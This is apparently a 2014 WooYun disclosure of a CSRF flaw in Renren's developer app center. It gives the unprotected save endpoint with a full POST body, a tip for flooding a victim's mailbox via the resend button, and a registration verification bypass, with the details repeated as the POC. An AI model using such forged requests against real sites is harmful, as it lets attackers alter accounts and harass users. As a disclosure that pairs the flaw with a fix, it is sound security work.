人人网之应用中心csrf #4

编号55519
Urlhttp://www.wooyun.org/bug.php?action=view&id=55519
漏洞状态厂商已经确认
漏洞标题人人网之应用中心csrf #4
漏洞类型CSRF
厂商人人网
白帽子小龙
提交日期2014-04-04 16:49:00
公开日期2014-05-19 16:49:00
修复时间(not set)
确认时间2014-04-04 00:00:00
Confirm Spend0
漏洞标签敏感接口缺乏校验 csrf漏洞利用 csrf利用技巧
关注数0
收藏数0
白帽评级
白帽自评rank5
厂商评级
厂商评rank7
漏洞简介
所谓 有洞必修,任何一个小细节都有可能危害全社区!
漏洞细节

在人人开放平台无任何token
造成了被csrf攻击的对象

1.png


编辑处无token

http://app.renren.com/developers/baseinfo/save


name=wooyun&type=0&area=2%234&phone=13100138000&email=189837992%40qq.com&imType=QQ&imId=112312&completeness=60%25&companyAddress=&companyPostCode=&companyExigencyContact=&companyExigencyPhone=


参数大概的意思就不多说了,我们把昵称改成
wooyun.org
name=wooyun.org&type=0&area=2%234&phone=13100138000&email=189837992%40qq.com&imType=QQ&imId=112312&completeness=60%25&companyAddress=&companyPostCode=&companyExigencyContact=&companyExigencyPhone=

2.png


返回{suc:true,msg:'成功'}

3.jpg


非常好!
又是完美的一击
话说貌似有的分站没token,有的有,嘿嘿。 人人网,你肿么不管分站列

4.png


这里可以恶意攻击邮箱

5.png


在注册时候用post里面的数据,可以绕过验证激活,直接进去,嘿嘿
这里也可以
比较给力。上面那个还要后退- -

6.png


一直点再次发送,1秒一下。。。

7.png


性骚扰的节奏。。。

POC

在人人开放平台无任何token
造成了被csrf攻击的对象

1.png


编辑处无token

http://app.renren.com/developers/baseinfo/save


name=wooyun&type=0&area=2%234&phone=13100138000&email=189837992%40qq.com&imType=QQ&imId=112312&completeness=60%25&companyAddress=&companyPostCode=&companyExigencyContact=&companyExigencyPhone=


参数大概的意思就不多说了,我们把昵称改成
wooyun.org
name=wooyun.org&type=0&area=2%234&phone=13100138000&email=189837992%40qq.com&imType=QQ&imId=112312&completeness=60%25&companyAddress=&companyPostCode=&companyExigencyContact=&companyExigencyPhone=

2.png


返回{suc:true,msg:'成功'}

3.jpg


非常好!
又是完美的一击
话说貌似有的分站没token,有的有,嘿嘿。 人人网,你肿么不管分站列

4.png


这里可以恶意攻击邮箱

5.png


在注册时候用post里面的数据,可以绕过验证激活,直接进去,嘿嘿
这里也可以
比较给力。上面那个还要后退- -

6.png


一直点再次发送,1秒一下。。。

7.png


性骚扰的节奏。。。

修复方案

Token ,并且检查下分站是否存在同样问题!

状态信息 2014-04-04: 细节已通知厂商并且等待厂商处理中
2014-04-04: 厂商已经确认,细节仅向厂商公开
2014-04-14: 细节向核心白帽子及相关领域专家公开
2014-04-24: 细节向普通白帽子公开
2014-05-04: 细节向实习白帽子公开
2014-05-19: 细节向公众公开
厂商回复谢谢
回应信息危害等级:中漏洞Rank:7 确认时间:2014-04-04 17:02